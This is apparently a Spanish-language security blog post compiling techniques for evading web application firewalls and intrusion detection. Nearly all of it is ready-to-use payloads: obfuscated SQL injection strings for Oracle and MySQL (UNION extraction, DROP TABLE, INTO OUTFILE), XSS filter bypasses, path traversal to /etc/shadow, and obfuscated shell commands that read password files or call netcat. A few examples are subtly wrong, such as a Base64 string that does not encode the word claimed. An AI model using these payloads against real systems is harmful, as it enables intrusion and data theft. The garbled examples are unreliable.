Entradas Mensuales

Síguenos en:

Canal Oficial Telegram de elhacker.NET Grupo Facebook elhacker.NET Twitter elhacker.NET Canal Youtube elhacker.NET Comunidad Steam: Grupo elhacker.NET Mastodon

Entradas populares

PostHeaderIcon Evasión avanzada de SQLi (IDS/WAF): técnicas manuales explicadas


Detección e inyección SQL manual, con algunos payloads de evasión de IDS/WAF; y es que la inyección SQL (SQLi) sigue siendo una de las vulnerabilidades más explotadas. A medida que los IDS (Sistemas de Detección de Intrusos) y los WAF (Web Application Firewall) mejoran, nosotros debemos recurrir a técnicas de evasión para burlar estos sistemas. Y es por esto, que en este post me centraré en algunos ejemplos prácticos de cómo evadir un IDS mediante SQLi en Oracle y MySQL, la mayoría de los cuales hemos utilizado en auditorias donde hemos encontrado algún WAF. Cabe mencionar, además, que otro de los motivos por los que preferimos el uso de inyecciones manuales es porque reduce significativamente el número de peticiones realizadas al servidor.

 


 

 

Cómo explotar inyecciones SQL avanzadas


Muchos conoceréis la famosa herramienta SQLMAP, pero también habréis podido comprobar que su efectividad no es del 100%, incluso con el uso de los tampers, utilizados para nuestra causa actual: evadir IDS/WAF; y es aquí donde entra nuestra “herramienta” SQLPAB. Y por qué entrecomillo herramienta, pues porque realmente es una broma interna del equipo de redteam de CSIRTCV, es nuestra manera de hablar de las explotaciones manuales, por nuestro compañero y amigo Pablo Arias.




1. Evasión con Comentarios Multilínea


El uso de comentarios SQL (/*...*/) permite ocultar porciones de la consulta, haciendo que el IDS/WAF no detecte el ataque.

  • Ejemplo ORACLE: SEL/**/ECT/**/user/**/FROM/**/dual/**/–
  • Ejemplo MySQL: SEL/**/ECT/**/user()/**/–




El comentario multilínea, en estos casos, se utiliza para ocultar la palabra SELECT y los espacios evitando así que el IDS/WAF detecte cadenas SQL.

2. Evasión con Funciones SQL


Las funciones como CHAR() en MySQL o CHR() en Oracle permiten codificar caracteres y evadir firmas de detección.

  • Ejemplo ORACLE: ‘ UNION SELECT CHR(116)||CHR(114)||CHR(117)||CHR(101) —
  • Ejemplo MySQL: ‘ UNION SELECT CHAR(116, 114, 117, 101) –




En estos ejemplos con CHR y CHAR evitaríamos que el IDS/WAF detecte la palabra true.

3. Evasión con Funciones de Longitud y ASCII


Usar funciones como LENGTH() y ASCII() permite hacer comparaciones inteligentes, dificultando la detección.

  • Ejemplo ORACLE: ‘ OR 33 = (ASCII(SUBSTR(user, 1, 1))) —
  • Ejemplo MySQL: ‘ OR LENGTH(user) > 5 —




La función ASCII(SUBSTR(user, 1, 1)) evalúa el valor ASCII del primer carácter del nombre de usuario. En este caso, se está verificando si el primer carácter tiene un valor ASCII de 33 (que corresponde al signo de exclamación !) y en el ejemplo de MySQL, se evalúa la longitud del nombre de usuario, por ejemplo, si user tiene más de 5 caracteres, la condición es verdadera. Estos dos ejemplos pueden evadir detección, ya que no incluyen palabras clave clásicas de inyección como UNION o SELECT.

4. Evasión con Codificación (Hex y Base64)


La codificación en hexadecimal o Base64 también es útil para evadir la detección de patrones típicos.

  • Ejemplo ORACLE: ‘ UNION SELECT UTIW== —
  • Ejemplo MySQL: ‘ UNION SELECT 0x74657374 —




El primer ejemplo tiene la palabra true codificada en Base64, y el segundo ejemplo tiene la palabra test en hexadecimal, los cuales dificultan su detección.

5. Evasión con Retrasos (Blind SQL Injection)


Los ataques tipo blind utilizan retrasos (delays) para obtener información sin revelar datos directamente, lo que puede eludir los IDS/WAF.

  • Ejemplo ORACLE: ‘ OR 1=1 AND DBMS_LOCK.SLEEP(5) —
  • Ejemplo MySQL: ‘ OR IF(1=1, SLEEP(5), 0) —




Si la condición es verdadera, introduce un retraso de 5 segundos, lo que dificulta la detección por un IDS/WAF que no monitoriza el tiempo de respuesta.

6. Evasión con URL Encoding (Codificación de URL)


La codificación URL (%0D%0A) puede evadir los IDS/WAF que no manejan correctamente las secuencias codificadas en la URL.

  • Ejemplo ORACLE: ‘ UNION%0D%0ASELECT%0D%0ANULL,NULL%0D%0A–
  • Ejemplo MySQL: ‘ UNION%0D%0ASELECT%0D%0ANULL,NULL%0D%0A–




La secuencia %0D%0A es la codificación URL de los saltos de línea (\r\n). Al usar este tipo de codificación, el IDS/WAF puede no detectar las palabras clave UNION SELECT, ya que el ataque está en una forma codificada que no puede ser interpretada de manera sencilla por las herramientas de detección.

7. Evasión combinando métodos


Cuando un IDS/WAF tiene reglas muy avanzadas, a veces es necesario el uso de combinaciones de métodos de evasión.

  • Ejemplo ORACLE: -1/**//*!uNIon*//**//*!sELEct*//**/1,owner,table_name,3,4/**//*!fROm*//**/all_tables/**/where/**/rownum/**/BETWEEN/**/3/**/AND/**/5/*=*/–
  • Ejemplo MySQL: -1/**//*!uNIon*//**//*!sELEct*//**/1,schema_name,3,4,5/**//*!fROm*//**/information_schema.schemata/**/limit/**/1/**/offset/**/3/*=*/–




En los ejemplos de MySQL y ORACLE se han utilizado una combinación del uso de los comentarios multilínea /**/, la negación ! dentro del comentario para que no se interprete como tal y la mayúscula y minúscula para evadir los filtros que no suelen ser case sensitive.

Con todo esto, podemos concluir que la evasión de IDS en ataques de SQLi se puede lograr mediante técnicas como comentarios, uso de funciones, codificación y retrasos. Estos métodos permiten que los atacantes eludan las firmas de detección comunes.

Para protegerse de estos ataques, es esencial usar consultas parametrizadas, validar entradas y mantener una monitorización activa.

 

Herramientas para verificar y omitir WAF:

  • w3af : marco de auditoría y ataque de aplicaciones web
  • wafw00f — Identificar y tomar huellas dactilares del firewall de aplicaciones web
  • BypassWAF : evita los firewalls abusando del historial de DNS. Esta herramienta buscará registros DNS A antiguos y comprobará si el servidor responde para ese dominio. 
  • CloudFail : es una herramienta de reconocimiento táctico que intenta encontrar la dirección IP original detrás del WAF de Cloudflare.

 

Técnicas para evitar WAF:

1. Técnica de alternancia de casos

Combine caracteres en mayúsculas y minúsculas para crear cargas útiles eficientes.

Solicitud básica:

<script>confirm()</script>

Técnica omitida:

<ScrIpT>confirm()</sCRiPt>

Solicitud básica:

SELECT * FROM * WHERE OWNER = ‘NAME_OF_DB’

Técnica omitida:

sELeCt * fRoM * wHerE OWNER = ‘NAME_OF_DB’

Ejemplo en URL:

http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

2. Técnica de codificación de URL

Codifique cargas útiles normales con % de codificación/codificación de URL. Puedes usar Burp Suite. Dispone de una herramienta codificadora/decodificadora.

Bloqueado por WAF:

<Svg/x=»>»/OnLoAD=confirm()//

Técnica omitida:

%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

Bloqueado por WAF:

UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)

Técnica omitida:

UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

Ejemplo en URL:

https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

3. Técnica Unicode

Los caracteres ASCII en codificación Unicode nos brindan excelentes variantes para evitar WAF. Codifique toda o parte de la carga útil para obtener resultados.

Solicitud básica:

<marquee onstart=prompt()>

Ofuscado:

<marquee onstart=\u0070r\u06f\u006dpt()>

Bloqueado por WAF:

/?redir=http://google.com

Técnica omitida:

/?redir=http://google。com (Unicode alternative)

Bloqueado por WAF:

<marquee loop=1 onfinish=alert()>x

Técnica omitida:

<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

Solicitud básica:

../../etc/shadow

Ofuscado:

%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

4. Técnica de representación HTML

Las aplicaciones web codifican caracteres especiales en HTML. Codificarlos y renderizarlos en consecuencia. Casos de bypass básicos con codificación HTML numérica y genérica.

Solicitud básica:

«><img src=x onerror=confirm()>

Carga útil codificada:

&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; 

Carga útil codificada:

&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; 

5. Técnica de codificación mixta

Estas reglas suelen tender a filtrar un tipo específico de codificación. Estos filtros pueden evitarse mediante cargas útiles de codificación mixta. Nuevas líneas y tabulaciones y se agregan más a la ofuscación.

Ofuscar carga útil:

<A HREF=»h

tt p://6 6.000146.0×7.147/»>XSS</A>

6. Uso de la técnica de comentarios

Los comentarios ofuscan los vectores de carga útil estándar. Diferentes cargas útiles tienen diferentes formas de ofuscarse.

Bloqueado por WAF:

<script>confirm()</script>

Técnica omitida:

<!–><script>confirm/**/()/**/</script>

Bloqueado por WAF:

/?id=1+union+select+1,2–

Técnica omitida:

/?id=1+un/**/ion+sel/**/ect+1,2–

Inserte comentarios en medio de las cadenas de ataque. Por ejemplo, /*!SELECT*/ puede ser pasado por alto por el WAF pero pasado a la aplicación de destino y procesado por una base de datos mysql.

Ejemplo en URL:

index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4   

   ‘union%a0select pass from users#

Ejemplo en URL:

index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

 7. Técnica de doble codificación

Los filtros de Web Application Firewall tienden a codificar caracteres para proteger la aplicación web. Los filtros mal desarrollados (sin filtros de recursividad) se pueden omitir con doble codificación.

Solicitud básica:

http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

Ofuscar carga útil:

http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Solicitud básica:

<script>confirm()</script>

Ofuscar carga útil:

%253Cscript%253Econfirm()%253C%252Fscript%253E

8. Técnica de ofuscación con comodines

Varias utilidades de línea de comandos utilizan patrones globales para trabajar con varios archivos. Podemos cambiarlos para ejecutar comandos del sistema.

Solicitud básica:

/bin/cat /etc/passwd

Ofuscar carga útil:

/???/??t /???/??ss??

Caracteres usados:

/ ? t s

Solicitud básica:

/bin/nc 127.0.0.1 443

Ofuscar carga útil:

/???/n? 2130706433 443

Caracteres usados:

/ ? n [0-9]

9. Técnica de generación de carga útil dinámica:

Los lenguajes de programación tienen diferentes patrones y sintaxis para la concatenación. Esto nos permite generar cargas útiles que pueden eludir muchos filtros y reglas.

Solicitud básica:

<script>confirm()</script>

Ofuscar carga útil:

<script>eval(‘con’+’fi’+’rm()’)</script>

Solicitud básica:

/bin/cat /etc/shadow

Ofuscar carga útil:

/bi’n»’/c»at’ /e’tc’/sh»ad’ow

Bash permite la concatenación de rutas para su ejecución.

Solicitud básica:

<iframe/onload=’this[«src»]=»javascript:confirm()»‘;>

Ofuscar carga útil

<iframe/onload=’this[«src»]=»jav»+»as&Tab;cr»+»ipt:con»+»fir»+»m()»‘;>

10. Técnica de personajes basura

WAF filtra fácilmente las cargas útiles simples. Agregar algunos caracteres basura ayuda a evitar la detección (solo en casos específicos). Esta técnica a menudo ayuda a confundir los firewalls basados ​​en expresiones regulares.

Solicitud básica:

<script>confirm()</script>

Ofuscar carga útil:

<script>+-+-1-+-+confirm()</script>

Solicitud básica:

<BODY onload=confirm()>

Ofuscar carga útil:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

Solicitud básica:

<a href=javascript;alert()>ClickMe

Técnica omitida:

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

11. Técnica de saltos de línea

Muchos WAF con filtrado basado en expresiones regulares bloquean eficazmente muchos intentos. La técnica de saltos de línea (CR y LF) puede romper la expresión regular del firewall y omitir cosas.

Solicitud básica:

<iframe src=javascript:confirm(hacker)»>

Ofuscar carga útil:

<iframe src=»%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)»>

12. Técnica de variables no inicializadas

Los filtros basados ​​en expresiones regulares incorrectos se pueden evadir con variables bash no inicializadas. Dicho valor es igual a nulo y actúa como cadenas vacías. Bash y Perl permiten este tipo de interpretaciones.

Ofuscación de primer nivel: normal

Solicitud básica:

/bin/cat /etc/shadow

Ofuscar carga útil:

/bin/cat$u /etc/shadow$u

Ofuscación de segundo nivel: basada en la posición

Solicitud básica:

/bin/cat /etc/shadow

Ofuscar carga útil:

$u/bin$u/cat$u $u/etc$u/shadow$u

Ofuscación de tercer nivel: caracteres aleatorios

Solicitud básica:

/bin/cat /etc/passwd

Ofuscar carga útil:

$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

13. Técnica de tabulaciones y avances de línea

Las pestañas a menudo ayudan a evadir los firewalls, especialmente los basados ​​en expresiones regulares. Las pestañas pueden ayudar a romper la expresión regular WAF cuando la expresión regular espera espacios en blanco y no pestañas.

Solicitud básica:

<IMG SRC=»javascript:confirm();»>

Técnica omitida:

<IMG SRC=» javascript:confirm();»>

Variante:

<IMG SRC=» jav ascri pt:confirm ();»>

Solicitud básica:

http://test.com/test?id=1 union select 1,2,3

Técnica omitida :

http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

Solicitud básica:

<iframe src=javascript:confirm()></iframe>

Ofuscar carga útil:

<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m&Tab;%28&Tab;%29></iframe>

  1. Técnica para romper fichas

Los ataques a tokens intentan romper la lógica de dividir una solicitud en tokens con disyuntores de tokens. Los token-breakers son símbolos que permiten afectar la correspondencia entre un elemento de una cadena y un determinado token. Nuestra solicitud debe seguir siendo válida mientras utilizamos rompedores de tokens.

Estudio de caso: token desconocido para el «tokenizador»

Nuestra carga útil:

?id=‘-sqlite_version() UNION SELECT passwords FROM users —

Estudio de caso: contexto desconocido para el analizador (observe el corchete sin contexto)

Primera carga útil:

?id=12);DROP TABLE users —

Segunda carga útil:

?id=133) INTO OUTFILE ‘xxx’ —

  1. Técnica de ofuscación en otros formatos.

Muchas aplicaciones web admiten diferentes tipos de codificación y pueden interpretar la codificación. Siempre necesitamos ofuscar la carga útil a un formato que no sea compatible con WAF, pero el servidor puede pasar de contrabando nuestra carga útil.

Caso IIS: 

IIS 6, 7.5, 8 y 10 permiten interpretaciones de caracteres IBM037. Envíe los parámetros codificados con la consulta.

Solicitud original:

POST /example.aspx?id7=sometext HTTP/1.1

HOST: target.org

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Content-Length: 27

id2=’union all select * from users–

Solicitud ofuscada con codificación de URL:

POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1

HOST: target.org

Content-Type: application/x-www-form-urlencoded; charset=ibm037

Content-Length: 127

%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A4%A2%85%99%A2%60%60

NMAP – Script firewall-bypass

Detecta una vulnerabilidad en netfilter y otros firewalls que utilizan ayudas para abrir dinámicamente puertos para protocolos como ftp y sip. El script funciona falsificando un paquete del servidor de destino solicitando abrir una conexión relacionada a un puerto de destino que será cumplida por el firewall a través del puerto auxiliar de protocolo adecuado. Para que esto funcione, la máquina atacante debe estar en el mismo segmento de red que el firewall. El script admite el asistente ftp tanto en IPv4 como en IPv6. El filtro de ruta real se utiliza para prevenir este tipo de ataques.

Descarga:  https://svn.nmap.org/nmap/scripts/firewall-bypass.nse

Para más información, ver:

Argumentos

firewall-bypass.helper

El ayudante a utilizar. El valor predeterminado es ftp. Ayudantes compatibles: ftp (tanto IPv4 como IPv6).

firewall-bypass.targetport

Puerto para probar la vulnerabilidad. El puerto de destino debe ser un puerto no abierto. Si no se proporciona, el script intentará encontrar un puerto filtrado o cerrado a partir de los resultados del escaneo de puertos.

firewall-bypass.helperport

Si no utiliza el puerto predeterminado del asistente.

Ejemplos

nmap –script firewall-bypass <objetivo>
nmap –script firewall-bypass –script-args firewall-bypass.helper=»ftp», firewall-bypass.targetport=22 <destino>

Salida

Resultados del script del host:
| omisión de firewall:
|_ Firewall vulnerable a omisión a través del asistente ftp. (IPv4) 

 

Fuentes:

https://www.securityartwork.es/2025/09/02/evasion-avanzada-sqli-ids-waf/ 

https://achirou.com/curso-gratis-de-redes-25-tecnicas-de-evasion-de-firewall/ 


0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.